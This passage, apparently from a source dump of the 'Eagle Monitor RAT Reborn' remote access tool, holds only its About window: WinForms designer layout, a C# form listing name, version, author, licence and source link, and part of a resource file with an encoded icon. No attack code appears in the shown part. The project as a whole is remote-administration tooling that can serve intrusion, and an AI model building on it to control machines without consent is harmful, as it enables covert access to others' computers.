((int)(((byte)(150))))); this.Column2.DefaultCellStyle = dataGridViewCellStyle3; this.Column2.FillWeight = 18F; this.Column2.HeaderText = ""; this.Column2.Name = "Column2"; this.Column2.ReadOnly = true; this.Column2.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; // // closeGuna2ControlBox // this.closeGuna2ControlBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.closeGuna2ControlBox.CustomClick = true; this.closeGuna2ControlBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.closeGuna2ControlBox.IconColor = System.Drawing.Color.White; this.closeGuna2ControlBox.Location = new System.Drawing.Point(391, 1); this.closeGuna2ControlBox.Name = "closeGuna2ControlBox"; this.closeGuna2ControlBox.Size = new System.Drawing.Size(45, 29); this.closeGuna2ControlBox.TabIndex = 2; this.closeGuna2ControlBox.Click += new System.EventHandler(this.closeGuna2ControlBox_Click); // // maximizeGuna2ControlBox // this.maximizeGuna2ControlBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.maximizeGuna2ControlBox.ControlBoxType = Guna.UI2.WinForms.Enums.ControlBoxType.MaximizeBox; this.maximizeGuna2ControlBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.maximizeGuna2ControlBox.IconColor = System.Drawing.Color.White; this.maximizeGuna2ControlBox.Location = new System.Drawing.Point(344, 1); this.maximizeGuna2ControlBox.Name = "maximizeGuna2ControlBox"; this.maximizeGuna2ControlBox.Size = new System.Drawing.Size(45, 29); this.maximizeGuna2ControlBox.TabIndex = 3; // // minimizeGuna2ControlBox // this.minimizeGuna2ControlBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.minimizeGuna2ControlBox.ControlBoxType = Guna.UI2.WinForms.Enums.ControlBoxType.MinimizeBox; this.minimizeGuna2ControlBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.minimizeGuna2ControlBox.IconColor = System.Drawing.Color.White; this.minimizeGuna2ControlBox.Location = new System.Drawing.Point(297, 1); this.minimizeGuna2ControlBox.Name = "minimizeGuna2ControlBox"; this.minimizeGuna2ControlBox.Size = new System.Drawing.Size(45, 29); this.minimizeGuna2ControlBox.TabIndex = 4; // // logoPictureBox // this.logoPictureBox.BackColor = System.Drawing.Color.Transparent; this.logoPictureBox.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.eagle2; this.logoPictureBox.Location = new System.Drawing.Point(4, 1); this.logoPictureBox.Name = "logoPictureBox"; this.logoPictureBox.Size = new System.Drawing.Size(32, 28); this.logoPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; this.logoPictureBox.TabIndex = 5; this.logoPictureBox.TabStop = false; this.logoPictureBox.MouseDown += new System.Windows.Forms.MouseEventHandler(this.logoPictureBox_MouseDown); // // AboutForm // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.BackColor = System.Drawing.Color.White; this.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.BordersSize = 2; this.ClientSize = new System.Drawing.Size(438, 224); this.Controls.Add(this.aboutDataGridView); this.Controls.Add(this.logoPictureBox); this.Controls.Add(this.minimizeGuna2ControlBox); this.Controls.Add(this.maximizeGuna2ControlBox); this.Controls.Add(this.closeGuna2ControlBox); this.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Name = "AboutForm"; this.Padding = new System.Windows.Forms.Padding(2, 32, 2, 2); this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "Eagle Monitor RAT Reborn"; this.TopBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.Load += new System.EventHandler(this.MainForm_Load); this.MouseLeave += new System.EventHandler(this.MainForm_MouseLeave); ((System.ComponentModel.ISupportInitialize)(this.aboutDataGridView)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).EndInit(); this.ResumeLayout(false); } #endregion private Guna.UI2.WinForms.Guna2ControlBox closeGuna2ControlBox; private Guna.UI2.WinForms.Guna2ControlBox maximizeGuna2ControlBox; private Guna.UI2.WinForms.Guna2ControlBox minimizeGuna2ControlBox; public System.Windows.Forms.DataGridView aboutDataGridView; private System.Windows.Forms.PictureBox logoPictureBox; private System.Windows.Forms.DataGridViewTextBoxColumn Column1; private System.Windows.Forms.DataGridViewTextBoxColumn Column2; } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/AboutForm.cs ================================================ using Eagle_Monitor_RAT_Reborn.Controls; using Eagle_Monitor_RAT_Reborn.Network; using Leaf.xNet; using Newtonsoft.Json; using PacketLib; using PacketLib.Packet; using System; using System.Collections.Generic; using System.Diagnostics; using System.Drawing; using System.IO; using System.Windows.Forms; using static Eagle_Monitor_RAT_Reborn.Misc.Utils; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn { public partial class AboutForm : FormPattern { public AboutForm() { InitializeComponent(); } private void MainForm_Load(object sender, EventArgs e) { RowsAdder("Name", CoreAssembly.Name); RowsAdder("Version", CoreAssembly.Version.ToString()); RowsAdder("Author", "Arsium"); RowsAdder("License", "AGPL-3.0"); RowsAdder("Source", "https://github.com/arsium/EagleMonitorRAT"); aboutDataGridView.ClearSelection(); aboutDataGridView.CurrentCell = null; } private void RowsAdder(string nameOfDetail, string detail) { int rowId = aboutDataGridView.Rows.Add(); DataGridViewRow row = aboutDataGridView.Rows[rowId]; row.Cells["Column1"].Value = nameOfDetail; row.Cells["Column2"].Value = detail; } private void closeGuna2ControlBox_Click(object sender, EventArgs e) { this.Close(); } private void logoPictureBox_MouseDown(object sender, System.Windows.Forms.MouseEventArgs e) { Utils.MoveForm(this); } private void versionLabel_MouseDown(object sender, System.Windows.Forms.MouseEventArgs e) { Utils.MoveForm(this); } //https://stackoverflow.com/questions/4314673/how-to-deselect-all-selected-rows-in-a-datagridview-control private void dataGridView1_MouseUp(object sender, MouseEventArgs e) { if (e.Button == MouseButtons.Left) { DataGridView.HitTestInfo hit = aboutDataGridView.HitTest(e.X, e.Y); if (hit.Type == DataGridViewHitTestType.None) { aboutDataGridView.ClearSelection(); aboutDataGridView.CurrentCell = null; } } } private void MainForm_MouseLeave(object sender, EventArgs e) { aboutDataGridView.ClearSelection(); aboutDataGridView.CurrentCell = null; } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/AboutForm.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 True True 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 